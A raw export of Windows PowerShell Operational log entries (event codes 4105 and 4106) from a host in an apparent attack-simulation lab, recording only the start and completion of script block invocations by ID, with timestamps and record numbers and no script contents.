LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022908
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022907
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022905
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022924
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022923
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022922
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022921
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022920
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022919
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022918
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022917
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022916
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022915
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022934
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022933
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022932
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022931
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022930
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022929
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022928
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022927
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022925
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022944
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022943
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022942
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022941
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022940
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022939
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022938
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022937
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022936
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022935
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022953
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022952
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022951
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022950
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022949
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022948
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022947
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022946
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022945
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022964
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022963
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022962
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022961
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022960
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022959
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022957
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022956
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022955
Keywords=None
